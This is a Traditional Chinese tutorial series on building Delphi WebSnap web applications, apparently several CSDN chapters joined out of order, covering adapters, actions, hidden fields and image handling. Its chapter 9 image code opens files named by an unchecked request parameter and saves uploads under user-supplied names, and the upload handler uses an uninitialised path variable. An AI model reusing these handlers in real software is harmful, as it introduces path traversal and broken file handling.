AdapterField 元 件 的 目 的 是 用 來 處 理 資 料 ， 在 WebSnap 中 還 有 一 種 與 她 相 同 等 級 的 元 件 : AdapterAction ， 這 種 Adapter 是 用 來 執 行 某 個 動 作 。 接 著 我 們 就 來 應 用 一 下 AdapterAction ， 我 們 要 設 計 一 個 簡 單 的 計 算 機 ， 目 的 只 是 要 將 使 用 者 輸 入 的 值 相 加 後 顯 示 出 來 。 請 回 到 IDE 中 新 增 一 個 Page Module 到 專 案 中 ， 請 使 用 Internet Toolbar 或 是 New Items Dialog 。

我 們 在 這 個 Page Module 中 選 擇 使 用 AdapterPageProducer ， 她 可 以 讓 我 們 使 用 DELPHI 所 提 供 的 視 覺 化 網 頁 設 計 功 能 (Visual Page Designer) 來 設 計 網 頁 :

然 後 我 們 新 增 一 個 Adapter 元 件 來 儲 存 AdapterField 及 AdapterAction:

接 著 我 們 雙 按 Adapter 元 件 中 的 Data 特 性 值 ， 新 增 三 個 AdapterField: FirstValue 、 SecondValue,Result

First 與 Second 這 兩 個 AdapterField 是 用 來 儲 存 使 用 者 所 輸 入 的 資 料 。 Result 則 是 用 來 顯 示 結 果 值 用 。 接 下 來 我 們 還 需 要 一 個 確 定 的 按 紐 ， 確 切 的 說 是 一 個 AdapterAction ， 因 為 我 們 需 要 在 使 用 者 按 下 按 紐 後 執 行 相 加 的 動 作 。 記 得 嗎 ? AdapterAction 就 是 用 來 執 行 動 作 用 的 ， 請 雙 按 Adapter 中 的 Actions 特 性 值 新 增 一 個 AdapterAction:

然 後 設 定 Action 的 特 性 值 。

接 著 我 們 還 要 定 義 一 個 變 數 來 儲 存 結 果 ， 以 便 將 計 算 的 結 果 顯 示 給 使 用 者 。 在 這 裡 我 們 必 需 要 釐 清 一 個 觀 念 ， 表 面 上 來 看 ， AdapterField 是 用 來 儲 存 資 料 的 ， 但 儲 存 資 料 用 的 容 器 ( 也 就 是 變 數 ) 則 是 要 我 們 來 提 供 。 因 此 請 在 程 式 碼 的 class 區 段 中 加 入 這 一 段 變 數 宣 告 :

private

FResultValue:string;

在 使 用 這 個 變 數 前 我 們 需 要 初 始 化 她 ， 免 得 下 次 的 計 算 結 果 不 正 確 ， 記 得 第 一 節 的 Web Module 說 明 嗎 ? 最 佳 的 初 始 化 事 件 可 不 是 OnCreate 哦 ， 是 OnActivate! 請 在 這 個 事 件 中 將 FResultValue 變 數 初 始 成 空 字 串 ， 之 後 再 為 AdaptResult 這 個 AdapterField 添 加 OnGetValue 事 件 ， 在 裡 面 加 上 下 面 這 段 程 式 碼 :

Value:=FResultValue;

最 後 我 們 在 AdapterAction.OnExecute 事 件 中 加 上 處 理 計 算 部 份 的 程 式 碼 :

procedure TCalc.AdaptCalcExecute(Sender: TObject;

Params: TStrings);

var

v1,v2:Integer;

begin

v1:=AdaptFirstValue.ActionValue.Values[0];

v2:=AdaptSecondValue.ActionValue.Values[0];

FResultValue:=IntToStr(v1+v2);

end;

你 可 以 發 覺 到 ， 在 這 個 事 件 中 我 們 使 用 的 是 AdapterField.ActionValue 這 個 特 性 值 而 不 是 Value 。 這 是 因 為 WebSnap 會 將 使 用 者 所 輸 入 的 值 是 儲 存 在 ActionValue 中 ， 以 這 個 範 例 來 解 釋 的 話 就 是 : 使 用 者 輸 入 了 兩 個 值 並 按 下 Calc 按 紐 後 瀏 覽 器 就 會 將 這 些 資 訊 Post( 指 HTTPPost Method) 到 WebSnap 程 式 中 ， 接 著 WebSnap 程 式 就 會 解 出 使 用 者 所 輸 入 的 兩 個 值 存 到 AdapterField.ActionValue 特 性 中 ， 接 著 取 出 Action 的 資 訊 並 執 行 Action 。 為 何 要 這 麼 麻 煩 呢 ? 呵 ! 你 不 會 想 把 ActionValue 與 Value 合 成 一 個 的 ， 因 為 這 樣 你 如 何 分 辨 原 值 與 使 用 者 所 輸 入 的 值 呢 ?

繼 續 我 們 的 程 式 ， 現 在 我 們 要 開 始 設 計 計 算 機 的 網 頁 了 。 請 你 雙 按 AdapterPageProducer 開 出 Visual Page Designer 視 窗 :

在 AdapterPageProducer 上 按 滑 鼠 右 鍵 新 增 一 個 AdapterForm 元 件 :

然 後 在 AdapterForm 上 按 右 鍵 選 擇 New Componetns 新 增 一 個 AdapterFieldGroup 元 件 。

接 著 設 定 AdapterFieldGroup 的 Adapter 特 性 值 為 Adapter1 。

由 於 我 們 並 不 想 讓 使 用 者 修 改 Result 的 值 ， 因 為 她 是 由 我 們 所 計 算 出 來 的 ， 因 此 我 們 要 將 Result 的 控 制 項 改 為 純 文 字 顯 示 。 請 在 AdapterFieldGroup1 上 按 右 鍵 ， 選 擇 Add All Fields 選 項 :

接 著 點 選 fldResult Item ， 並 設 定 她 的 View Module 為 vmDisplay 。

成 功 的 話 你 會 看 到 Result 的 顯 示 方 式 已 經 變 成 純 文 字 了 。

接 下 來 我 們 還 要 提 供 一 個 確 認 的 按 紐 ， 讓 使 用 者 點 選 後 執 行 相 加 的 動 作 。 請 在 AdapterForm 上 按 右 鍵 新 增 一 個 Component ， 並 選 擇 AdapterCommandGroup 為 新 增 的 元 件 。

然 後 設 定 她 的 DisplayComponent 特 性 為 AdapterFieldGruop1 。

接 著 在 AdapterCommandGroup1 上 按 右 鍵 新 增 一 個 AdapterActionButton 。

再 設 定 她 的 PageName 及 ActionName 特 性 值 。

完 成 之 後 你 就 可 以 看 到 以 下 的 畫 面 :

到 這 裡 為 止 ， 我 們 已 經 完 成 了 這 個 計 算 機 的 網 頁 了 ， 接 著 請 編 譯 後 執 行 她 並 開 啟 IE 來 瀏 覽 我 們 的 網 頁 :

本 章 後 記

在 這 一 章 中 我 們 討 論 了 WebSnap 的 基 本 設 計 概 念 以 及 AdapterField 與 AdapterAction 元 件 在 WebSnap 程 式 中 所 扮 演 的 角 色 與 應 用 方 式 ， 同 時 也 學 會 了 TPageProducer 及 TAdapterPageProducer 元 件 的 基 本 應 用 。

<第 參 章 、 WebSnap 與 資 料 庫>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（附录A）

Web Application 開 發 利 器 - WebSnap!

附錄A、 一些小技巧

這一節是一些小技巧的討論，當我們在開發WebSnap 程式時如果碰上了程式工作不正常，而你又無法由原始碼中看出端倪，這時我們可以使用WebAppDebuger 中的Log 資訊來查看Client 與 Server 之間傳遞的資料，這在許多情況下相當有用:

在你要查看的那一列雙按滑鼠就可以開出下列的視窗。

你可以發現這些資料就是Client 與 Server 來往的資料，對我們除錯相當有用。之前我們曾經談過，當我們需要對TAdapterPageProducer 產生出的 Script 做修改時，我們必須先把script 移到 TPageProducer 中，首先我們要放入一個TPageProducer 元件，你可以在Internet 那一頁找到她，接著我們將PageModule 中的Producer 設定值設為你放入的那一個PageProducer，現在我們就可以把Script 那頁的所有程式碼copy 到.html 那一頁:

接著我們還得設定TPageProducer 的ScriptEngine 特性值為JScript，完成後你只要做你想要的修改就可以了，只是你必須要記得，如果你日後還想使用TAdapterPageProducer 來設計你的網頁的話，那你最好使用註解來標示你所修改的部份，因為在你重新使用TAdapterPageProducer 之前你必須要將.html 中的script 清除掉，還原回原來的樣子，否則TAdapterPageProducer 就會出錯，的確! 這看起來蠻沒效率的，不過我們可以利用撰寫元件來減少這種機會，撰寫元件還有可移植的好處，如果日後Kylix 使用Borland 自己開發的Script 或是使用非JScript 的Script 語言時，我們只需要修改我們的元件支援該Script語言就可以了，不需要改變我們的原始碼，相關的技術我會在Inside WebSnap 一文中與你討論。

關於後面的計劃

Inside WebSnap 目前進度在我的控制中緩緩行進，應該可以在10 月中完成，另外還有兩篇: dbExpress 及WebService II，這兩篇較無時程，可能會寫，也可能不會寫，視我心情與工作量而定。我將本文中的範例程式寫在一個專案中，你可以依照閱讀的進度開啟對照。請記住，因為時間的關係，我沒有做好錯誤控管，這些在實務中是很重要的。另外在範例程式中有兩個Project，一個是WebAppDebuger，另一個是ISAPI，我在兩種上面都做了測試，只是在ISAPI 上有時會發生BDE 初始化錯誤，這也是我不建議你使用BDE 的原因之一，但我又沒有其它的資料庫檔案可用，總不能要你裝個Access 或是 Interbase 還是MSSQL 吧，所以可別誤解我鼓勵你用BDE 哦 (至少在WebSnap 上不鼓勵)。

範例程式在那?

Data.zip (資料檔,請解至 BDE 中的 BCDEMOS Alias 對應目錄下)

Exam_1.zip (範例檔,前半部的範例)

Demo2.zip (更新版新增的範例)

Exam_1

計算機

Grid,Edit 是第一個資料庫程式的範例

Login 登入系統,使用者管理的範例

MasterDetailEdit,EditDetail,NewDetail Master-Detail 資料庫範例

ImageDB,EditImageDB 圖形處理的範例

MyAdapter 自訂型Adapter 範例

MyPageAdapter 簡單型檔案總管

WebService 結合BizSnap 的範例

DemoLocateService 展示LocateFileService 的範例

MySessionPagedAdapter 結合Session 的檔案總管範例

OrpWebSnap.zip (OrpDemoAdapter Package,TOrpEditablePagedAdapter)

請先安裝這個package，這樣才能編譯範例。


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（九）

Web Application 開 發 利 器 - WebSnap!

第 玖 章 、 圖 形 及 超 連 結

9-1 簡 單 的 圖 形 顯 示

在 之 前 的 資 料 庫 程 式 中 我 們 並 未 討 論 到 如 何 處 理 Blob 欄 位 資 料 ， 這 是 因 為 我 認 為 這 件 事 很 簡 單 ， WebSnap 幫 你 做 掉 了 絕 大 部 份 的 工 作 ， 你 只 要 照 著 資 料 庫 那 一 章 的 動 作 來 作 ， 將 資 料 庫 換 成 有 Blob 欄 位 的 biolife.db 後 ， 你 馬 上 就 可 以 看 到 圖 形 及 編 修 她 們 了 。 不 過 在 某 些 情 況 下 ， 你 可 能 會 因 為 效 率 或 是 空 間 的 考 量 ， 將 圖 形 改 為 只 存 檔 名 。 這 時 我 們 可 以 應 用 TAdapterImageField 來 處 理 這 類 的 需 求 ， 在 我 們 撰 寫 這 個 資 料 庫 網 頁 之 前 ， 我 們 得 先 弄 懂 TAdapterImageField 怎 麼 用 才 行 ， 我 們 先 用 我 們 的 計 算 機 網 頁 來 做 試 驗 品 好 了 ， 請 在 Calc Page Module 中 的 Adapter1.Data 特 性 中 新 增 一 個 TAdapterImageField ， 並 設 定 她 的 HREF 特 性 值 :

( 必 須 要 設 定 WebAppDebuger 的 Path ， 請 參 考 本 節 最 後 的 說 明 )

開 啟 Visual Page Designer 新 增 一 個 AdapterDisplayField 到 AdapterFieldGroup1 中 ， 你 會 看 到 如 下 的 Preview 畫 面 :

圖 形 是 空 的 ， 這 是 因 為 我 們 是 在 設 計 模 式 中 ， 而 我 們 設 定 的 HREF 是 URL 所 致 。 別 理 她 ， 執 行 程 式 後 你 就 可 以 看 到 圖 形 顯 示 在 網 頁 上 了 ， 除 了 明 白 設 定 HREF 之 外 ， 我 們 也 可 以 選 擇 撰 寫 OnGetHREF 來 動 態 傳 回 HREF ， 亦 或 是 撰 寫 OnGetImage 利 用 TFileStream 來 讀 取 Image File 後 回 傳 給 ImageField 顯 示 。 當 有 編 修 圖 形 的 需 求 時 ， 我 們 可 以 撰 寫 OnUploadFile 事 件 來 將 使 用 者 上 傳 的 圖 型 存 檔 ， 談 到 這 裡 你 應 該 想 出 了 如 何 解 決 只 存 檔 名 的 資 料 庫 圖 形 問 題 了 吧 。 只 是 問 題 可 能 沒 像 你 想 的 那 麼 容 易 ， 因 為 我 們 只 存 文 字 檔 名 ， 所 以 不 能 夠 使 用 TDataSetImageField ， 也 就 沒 有 OnGetImage 這 個 事 件 可 以 使 用 ， 除 非 我 們 自 己 處 理 Client 送 來 的 Request 訊 息 ， 這 太 麻 煩 了 ， 那 我 們 該 如 何 做 呢 ? 嗯 ! 好 問 題 ， 我 們 下 一 節 就 處 理 這 個 問 題 。

9-2 圖 形 顯 示 的 進 階 處 理

要 解 決 上 述 的 那 個 問 題 ， 我 們 可 以 在 TDataSetAdapter 加 入 一 個 TAdapterImageField ， 接 著 將 她 串 回 DataSetAdapter Fields 中 ， 聽 起 來 很 簡 單 ， 好 像 也 很 合 理 。 呵 ! 事 情 還 沒 完 呢 ， 這 是 我 們 自 己 加 入 的 TAdapterImageField ， 除 了 是 位 於 TDataSetAdapter 內 之 外 ， 她 跟 TDataSetAdapter 可 毫 無 關 係 ， 這 也 就 是 說 不 管 TDataSetAdapter 如 何 移 動 記 錄 指 標 ， 我 們 的 TAdapterImageField 可 是 不 動 如 山 的 。 為 了 解 決 這 個 問 題 ， 我 們 得 運 用 一 下 OnGetParam 特 性 ， 迫 使 WebSnap 移 動 她 ， TDataSetAdapter 及 TAdpterImageField 處 理 的 程 式 碼 如 下 :

function TImageDB.GetAppPath:string;

var

FN: array[0..255] of char;

begin

GetModuleFileName(hInstance,FN,SizeOf(FN));

Result:=ExtractFileDir(FN);

end;

procedure TImageDB.AdaptPictureNameGetImage(Sender: TObject;

Params: TStrings; var MimeType: String; var Image: TStream;

var Owned: Boolean);

var

AppPath:string;

sImagePos:string;

begin

AppPath:=GetAppPath;

sImagePos:=Params.Values['PICTURE_NAME'];

Image:=TFileStream.Create(AppPath+'\Images\'+sImagePos,fmOpenRead);

end;

procedure TImageDB.AdaptPictureNameUploadFile(Sender: TObject;

AFile: TAbstractWebRequestFile);

var

fs:TFileStream;

AppPath:string;

FileExt:string;

begin

if AFile.ContentType = 'image/jpg' then

FileExt:='.jpg'

else if AFile.ContentType = 'image/pjpeg' then

FileExt:='.jpg'

else if AFile.ContentType = 'image/bmp' then

FileExt:='.bmp'

else if AFile.ContentType = 'image/gif' then

FileExt:='.gif'

else FileExt:='';

if FileExt <> '' then

begin

fs:=TFileStream.Create(AppPath+'\Images\'+AdaptName.ActionValue.Values[0]+FileExt,fmCreate);

fs.CopyFrom(AFile.Stream,0);

DataSetAdapter1.DataSet.FieldByName('PICTURE').AsString:=AdaptName.ActionValue.Values[0]+FileExt;

fs.Free;

end;

end;

procedure TImageDB.AdaptPictureNameGetParams(Sender: TObject;

Params: TStrings);

begin

Params.Add('PICTURE_NAME='+AdaptPicture.Value);

end;

procedure TImageDB.AdaptPictureNameValidateFile(Sender: TObject;

AFile: TAbstractWebRequestFile);

begin

if (AFile.ContentType <> 'image/jpg') and

(AFile.ContentType <> 'image/pjpeg') and

(AFile.ContentType <> 'image/bmp') and

(AFile.ContentType <> 'image/gif') then

raise EAdapterException.Create(' 未 知 的 圖 形 格 式 ');

end;

我 們 先 看 到 OnGetImage 事 件 ， 我 們 在 這 裡 面 讀 取 圖 型 後 傳 回 給 Client 端 ， 檔 名 是 從 Params 參 數 中 取 出 來 的 ， 那 這 個 參 數 在 那 放 進 去 的 呢 ? 你 看 到 OnGetParams 部 份 了 嗎 ? 我 們 就 是 在 這 裡 將 參 數 放 進 去 的 ， 看 下 列 的 HTML:

/Exam_1_TestSvr.MySimpleWeb/?PICTURE_NAME=TEST4.bmp&__id=ImageDB.DataSetAdapter1.PictureName" alt="">

我 們 利 用 了 這 個 參 數 迫 使 WebSnap 認 定 AdapterImageField 必 須 要 跟 著 DataSetAdapter 移 動 ， 你 可 以 將 這 個 動 作 取 消 ， 改 成 直 接 由 AdapterPicture 中 取 值 ， 你 就 會 了 解 我 所 要 表 達 的 意 思 。 在 這 段 程 式 中 我 們 還 利 用 了 ValidateFile 事 件 來 判 別 檔 案 格 式 ， 如 果 檔 案 格 式 不 符 的 話 ， 我 們 就 引 發 一 個 例 外 ， 這 個 例 外 的 訊 息 會 被 封 裝 到 Adapter.Errors 中 ， 之 後 我 們 就 可 以 在 網 頁 中 顯 示 錯 誤 訊 息 ， 這 個 程 式 中 我 利 用 了 一 個 新 的 Adapter 及 一 個 AdapterField ， 並 在 HTML 中 加 入 以 下 的 Script 程 式 碼 :

<h3><%= Adapter1.ErrorMsg.Value %></h3>

以 及 下 面 的 取 值 程 式 碼 :

procedure TEditImageDB.AdaptErrorGetValue(Sender: TObject;

var Value: Variant);

begin

if ImageDB.DataSetAdapter1.Errors.ErrorCount > 0 then

Value:=' 錯 誤 :'+ImageDB.DataSetAdapter1.Errors.Errors[0].ErrorText;

end;

詳 細 的 程 式 碼 你 可 以 在 範 例 程 式 中 的 ImageDB 、 EditImageDB 中 找 到 。 為 了 讓 WebAppDebuger 順 利 找 到 我 們 放 在 /Images 下 的 圖 型 ， 我 們 必 須 將 這 個 路 徑 加 到 WebAppDebuger 中 ， 請 開 啟 WebAppDebuger 的 Server|Options 選 單 並 加 入 你 的 路 徑 :

本 章 後 記

雖 然 我 在 本 文 中 都 使 用 BDE 來 處 理 資 料 庫 ， 但 在 實 際 應 用 上 我 建 議 你 使 用 其 它 的 Driver ， 因 為 BDE 有 Session 及 一 些 限 制 ， 除 非 你 使 用 DataSnap ， 否 則 開 發 出 來 的 網 站 可 能 無 法 承 受 太 多 用 戶 ， 我 比 較 建 議 你 使 用 ADO 或 是 dbExpress 來 取 代 BDE ， 或 者 直 接 使 用 DataSnap ， 有 關 的 資 訊 你 應 該 可 以 在 其 它 書 中 找 到 ， 我 就 不 再 多 說 了 ， 在 OnGetImage 事 件 中 我 們 讀 取 了 圖 形 後 傳 回 Client 端 ， 這 是 我 為 了 讓 你 了 解 OnGetImgae 事 件 的 用 法 特 別 寫 的 ， 事 實 上 在 實 務 應 用 上 ， 你 應 該 利 用 另 外 一 個 OnGetHREF 來 傳 回 圖 形 的 URL ， 這 可 以 減 少 Web Server 的 負 擔 ， 尤 其 是 程 式 與 圖 形 分 開 存 在 兩 個 Server 上 時 特 別 明 顯 ， 這 可 以 讓 你 的 程 式 反 應 速 度 變 的 更 快 。 如 果 你 有 試 過 Delphi6 所 附 的 ImageProducer 的 話 ， 你 應 該 知 道 Action 也 可 以 用 圖 形 來 做 連 結 ， 我 會 在 下 面 討 論 她 .

<第 十 章 、 WebService+WebSnap>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（六）

Web Application 開 發 利 器 - WebSnap!

第 六 章 、 執 行 者 : TAdapterDispatcher 及 AdapterAction

6-1 Action 的 運 作 原 理

在 第 一 章 的 Modules 中 我 們 稍 微 討 論 了 Dispatcher 在 整 個 WebSnap 中 扮 演 著 那 一 種 角 色 ， 除 了 PageDispatcher 是 用 來 導 向 某 個 網 頁 外 ， WebSnap 中 還 有 另 一 個 很 重 要 的 Dispatcher 元 件 : TAdapterDispatcher ， 還 記 得 我 們 使 用 ActionButton 前 必 須 要 設 定 她 的 ActionName 特 性 值 嗎 ? 這 就 是 供 TAdapterDispatcher 使 用 的 資 訊 ， 你 在 使 用 了 ActionButton 的 網 頁 中 應 該 會 看 到 類 似 下 面 的 Script 程 式 碼 :

<input type="submit" value="EditRow" onclick="AdapterForm1.__act.value='<%=vdsAdaptCust_EditRow.LinkToPage("Edit", Page.Name).AsFieldValue%>'">

轉 成 網 頁 後 會 變 成 下 面 這 段 HTML 程 式 碼 :

<input type="submit" value="Query" onclick="AdapterForm2.__act.value='__sp.4.Edit__fp.5.Error__id.19.Grid.Adapter1.Query'">

onclick 內 的 字 串 會 被 送 往 TAdapterDispatcher ， 她 再 藉 由 藍 色 字 的 部 份 解 出 Action 資 訊 。 __sp 代 表 的 是 Action 執 行 成 功 後 轉 向 的 網 頁 名 稱 ， __fp 則 是 失 敗 後 轉 向 的 網 頁 名 稱 ， 在 這 裡 沒 有 出 現 的 另 一 個 __cp 則 是 目 前 網 頁 名 稱 。 Grid.Adapter1.Query 就 是 Action 的 名 稱 與 所 在 的 Module 及 Adapter ， 接 著 TAdapterDispatcher 會 藉 著 Grid.Adapter1.Query 字 串 來 搜 尋 出 正 確 的 Module 並 建 立 她 。 看 到 這 裡 你 應 該 有 點 概 念 了 ， 建 立 Module 後 就 是 取 得 Adapter 並 執 行 Query 這 個 Action 了 。 那 為 何 要 將 成 功 與 失 敗 的 網 頁 也 存 到 這 個 字 串 中 呢 ? 這 帶 出 了 Action 的 另 一 面 ， 技 術 上 而 言 ， 你 可 能 會 因 為 適 應 情 況 的 不 同 在 程 式 中 改 變 Action 中 這 兩 個 特 性 值 ， 但 是 這 可 能 會 造 成 一 些 問 題 。 例 如 執 行 Action 這 一 個 動 作 時 沒 有 通 過 你 的 這 段 程 式 碼 ， 那 麼 這 兩 個 特 性 值 就 變 成 了 預 設 值 了 ， 執 行 後 當 然 是 錯 誤 收 場 ， 所 以 Action 提 供 了 OnGetParam 及 OnExecute 兩 個 事 件 ， 當 Action 被 顯 示 前 ， 也 就 是 說 輸 出 成 上 面 那 段 字 串 之 前 會 觸 發 OnGetParam 事 件 ， 你 可 以 在 裡 面 加 上 你 要 保 留 的 參 數 ， 在 這 個 Action 被 執 行 時 這 些 參 數 就 會 被 送 往 　 OnExecute 事 件 了 ， 請 看 下 圖 :

( 圖 :7)

我 們 可 以 在 OnExecute 這 個 事 件 中 將 參 數 取 出 並 作 出 正 確 的 回 應 動 作 ， 有 了 這 些 概 念 後 我 們 就 可 以 解 釋 下 面 這 段 碼 的 意 義 了 :

<input type="submit" value="EditRow" onclick="AdapterForm1.__act.value='_lCustNo.4.1356__sp.4.Edit__fp.4.Grid__id.24.Grid.dsAdaptCust.EditRow'">

上 面 這 段 碼 來 自 於 我 們 的 Grid Page 中 ， 除 了 之 前 我 們 談 過 的 參 數 外 ， 你 還 可 以 看 到 _l 這 個 值 ， 這 是 一 個 Key 值 ， 用 來 在 Action 執 行 時 將 DataSet 的 記 錄 移 往 這 一 筆 ， 當 EditRow Action 將 網 頁 導 向 Edit PageModule 時 就 可 以 顯 示 出 正 確 的 記 錄 了 ， 最 後 讓 我 們 看 一 下 Edit 的 Apply Action 的 值 :

<input type="submit" value="Apply" onclick="AdapterForm1.__act.value='_lCustNo.4.1221__sp.4.Grid__fp.4.Edit__id.22.Edit.dsAdaptCust.Apply'">

你 應 該 能 解 釋 這 個 Action 了 吧 ， 不 過 單 單 只 有 這 個 Action 是 無 法 解 釋 整 個 Apply 動 作 的 ， 熟 悉 網 頁 設 計 的 人 都 知 道 ， 當 我 們 在 處 理 資 料 庫 的 網 頁 時 ， 我 們 會 將 記 錄 的 原 值 以 Hidden Field 狀 態 存 放 在 網 頁 中 ， 當 使 用 者 Apply 之 後 ， 我 們 再 將 原 值 與 控 制 項 中 的 新 值 做 比 對 ， 接 著 利 用 這 些 原 值 來 取 得 正 確 的 記 錄 並 儲 存 。 要 了 解 WebSnap 處 理 這 個 流 程 的 整 個 動 作 ， 我 們 必 須 從 Edit 網 頁 中 這 段 Script 程 式 開 始 :

<input type="hidden" name="__am.dsAdaptCust" value="Edit">

<input type="hidden" name="__ov.CustNo" value="1221">

… … … … ..

<input type="hidden" name="__key." value="CustNo.4.1221">

我 們 先 看 到 __am 這 一 行 ， 這 一 行 就 是 你 在 FieldGroup 中 的 AdapterMode 設 定 ， WebSnap 用 這 一 行 來 判 別 Action 發 生 時 AdapterMode 是 處 於 那 一 種 狀 態 。 下 面 的 __ov 則 是 CustNo 的 原 值 ， 接 著 __key 這 一 行 你 應 該 知 道 是 作 何 用 途 的 吧 ， 但 你 可 能 會 疑 惑 ， 為 何 有 兩 個 同 樣 用 途 的 值 存 在 呢 ? Action 中 不 是 已 經 有 這 個 值 了 嗎 ? 你 還 記 得 MasterDetailEdit 網 頁 中 我 們 允 許 使 用 者 在 裡 面 編 修 多 筆 明 細 資 料 嗎 ? 你 可 以 試 著 改 變 一 筆 以 上 的 記 錄 後 按 下 任 一 筆 記 錄 後 的 Apply 欄 位 ， 你 會 發 現 所 有 的 編 修 都 被 接 受 了 ， 如 果 只 有 一 個 Action 內 的 Key 值 是 辦 不 到 的 不 是 嗎 ? 這 就 是 這 個 值 存 在 的 意 義 。 如 果 你 觀 察 MasterDetailEdit 內 的 Action 及 HiddenFields ， HiddenRecordFields 資 訊 的 話 ， 你 會 發 現 到 在 Action 與 __key 值 內 也 包 含 了 Master-Detail Key 的 資 訊 ， 到 這 裡 為 止 ， 你 應 該 能 夠 理 解 Action 是 如 何 動 作 的 ， 又 為 何 這 樣 設 計 ， 你 也 可 以 撰 寫 自 定 的 Action 來 簡 化 你 的 工 作 ， 這 些 我 們 留 待 在 Inside WebSnap 篇 再 詳 細 討 論 了 。

6-2 神 秘 的 Action: DefaultAction

當 你 利 用 設 定 Action 的 PageName 來 轉 向 某 一 個 Page Module 時 ， 如 果 該 Page Module 中 設 定 了 DefaultAction 的 話 ， 你 可 以 利 用 Action 中 的 RedirectOptios 特 性 值 來 決 定 是 否 觸 發 DefaultAction:

當 你 設 定 Action 的 RedirectOptios 為 roRedirectHTTPPost 時 ， 當 執 行 Action 轉 向 該 Page Module 時 就 會 觸 動 該 Page Module 中 的 DefaultAction 事 件 ， 但 有 一 點 必 須 要 小 心 ， 當 DefaultAction 中 的 Action 也 設 定 為 roRedirectHTTPPost 時 會 進 入 無 窮 迴 圈 ， 這 個 技 術 可 以 用 在 使 用 者 執 行 Action 後 將 她 導 向 此 網 頁 時 ， 在 目 的 網 頁 輸 出 前 執 行 一 些 初 使 化 動 作 ， 與 OnBeforeDispatchPage 不 同 ， 她 只 在 Action 或 是 呼 叫 RedirectToPage 導 向 時 被 啟 動 ， OnBeforeDispatchPage 則 是 在 網 頁 輸 出 前 被 啟 動 ， 使 用 DefaultAction 或 是 OnBeforeDispatchPage 需 視 你 的 需 求 而 定 ， 如 果 你 初 始 化 動 作 必 需 在 網 頁 輸 出 前 初 始 化 ， 那 你 應 該 寫 在 OnBeforeDispatcher ， 如 果 你 需 要 在 Action 導 向 時 或 是 明 白 呼 叫 RedirectToPage 轉 向 時 處 理 一 些 初 始 化 動 作 的 話 ， 使 用 DefaultAction 會 是 較 好 的 選 擇 ， 當 然 ! 實 務 上 這 兩 者 有 可 能 都 會 用 到 ， 這 時 要 小 心 ， 兩 者 有 可 能 都 會 被 觸 發 ， DefaultAction 的 OnExecute 是 第 一 個 被 觸 發 的 動 作 ， 接 著 才 是 OnBeforeDispatchPage 。

本 章 後 記

這 一 章 中 我 與 你 討 論 了 Action 在 WebSnap 中 的 定 義 及 運 作 流 程 ， 還 有 WebSnap 如 何 與 Hidden Field 互 動 ， 這 些 資 訊 對 於 你 探 索 Action 或 撰 寫 Action 元 件 是 很 有 用 的 。

<第 七 章 、 深 入 Adapter>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（七）

Web Application 開 發 利 器 - WebSnap!

第 七 章 、 深 入 Adapter

這 一 章 的 目 的 在 於 完 全 了 解 Adapter 在 WebSnap 中 所 代 表 的 意 義 及 更 深 入 的 使 用 她 們 ， 之 前 我 們 利 用 了 Adapter 與 AdapterField 來 處 理 簡 單 的 資 料 顯 示 ， 如 計 算 機 程 式 ， 接 著 利 用 了 DataSetAdapter 來 處 理 資 料 庫 。 但 我 想 這 對 你 來 說 還 是 不 足 以 了 解 整 個 Adapter 在 WebSnap 所 扮 演 的 角 色 ， 因 此 這 一 節 我 們 將 針 對 幾 個 Adapter 做 深 入 的 運 用 ， 看 完 這 一 節 後 ， 相 信 你 對 Adapter 的 應 用 及 為 何 WebSnap 如 此 依 賴 她 會 有 相 當 的 體 會 。

7-1 、 簡 單 的 Adapter :TAdapter

TAdapter 是 最 簡 單 的 Adapter Container ， 之 前 我 們 只 將 她 應 用 在 將 程 式 中 的 變 數 資 料 顯 示 於 網 頁 中 ， 例 如 計 算 機 網 頁 ， 但 她 的 能 力 可 不 僅 止 於 此 ， 撇 開 撰 寫 你 自 己 的 TAdapter 元 件 這 個 技 術 不 談 ( 那 是 Inside WebSnap 的 課 題 ) ， 我 們 可 以 利 用 TAdapter 來 封 裝 不 同 類 型 的 資 料 ， 這 個 技 術 對 我 們 來 說 相 當 有 用 。 例 如 我 們 可 以 將 她 應 用 在 製 作 類 似 PCHome 的 檔 案 總 管 網 頁 上 ， 接 下 來 我 們 先 製 作 一 個 小 程 式 ， 這 個 程 式 利 用 TAdapter 來 封 裝 TStringsValueList ， 並 使 用 TAdapterGrid 將 她 顯 示 在 網 頁 上 ， 請 新 增 一 個 Page Module 到 專 案 中 ， 將 Page Name 設 成 MyAdapter 及 選 擇 TAdapterPageProducer 為 PageProducer ， 接 著 放 至 一 個 TAdapter 及 一 個 TStringsValueList 元 件 到 這 個 Module 中 ， 接 著 我 們 還 要 設 定 TStringsValueList 內 的 資 料 及 AdapterField:

設 定 完 顯 示 的 資 料 後 ， 我 們 還 要 加 入 兩 個 AdapterField 到 TStringsValueList 中 ， 請 在 TStringsValueList 的 Field Editor 中 按 右 鍵 選 擇 Add All Fields:

要 將 資 料 顯 示 在 網 頁 上 ， 我 們 還 得 在 TAdapter 中 新 增 幾 個 AdapterField 才 行 ， 這 個 範 例 中 我 們 需 要 兩 個 AdapterField ， 一 個 用 來 顯 示 站 名 ， 另 一 個 則 用 來 顯 示 URL ， 完 成 後 我 們 就 可 以 開 始 撰 寫 處 理 的 程 式 碼 ， 由 於 我 們 的 目 的 是 要 使 用 TAdapterGrid 來 顯 示 TStringsValueList 中 的 資 料 。 因 此 我 們 得 撰 寫 TAdapter.OnIterateRecords 這 個 事 件 ， 並 且 在 裡 面 移 動 TStringsValueList 的 記 錄 指 標 :

procedure TMyAdapter.Adapter1IterateRecords(Sender: TObject;

Action: TIteratorMethod; var EOF: Boolean);

var

Intf:IIteratorSupport;

P:Pointer;

begin

Intf:=svSite as IIteratorSupport;

case Action of

itStart:

Intf.StartIterator(P);

itNext :

EOF:=not Intf.NextIteration(P);

itEnd :

begin

Intf.EndIterator(P);

EOF:=True;

end;

end;

end;

在 這 個 事 件 中 我 們 使 用 了 一 個 介 面 :IIteratorSupport ， 實 作 這 個 介 面 代 表 著 該 元 件 支 援 游 標 型 態 的 操 作 。 接 著 我 們 要 撰 寫 AdapterField 中 的 OnGetValue ， 提 供 TStringsValueList 中 的 字 串 給 TAdapterGrid 使 用 :

procedure TMyAdapter.AdaptSiteNameGetValue(Sender: TObject;

var Value: Variant);

begin

Value:=AdaptNameField.Value;

end;

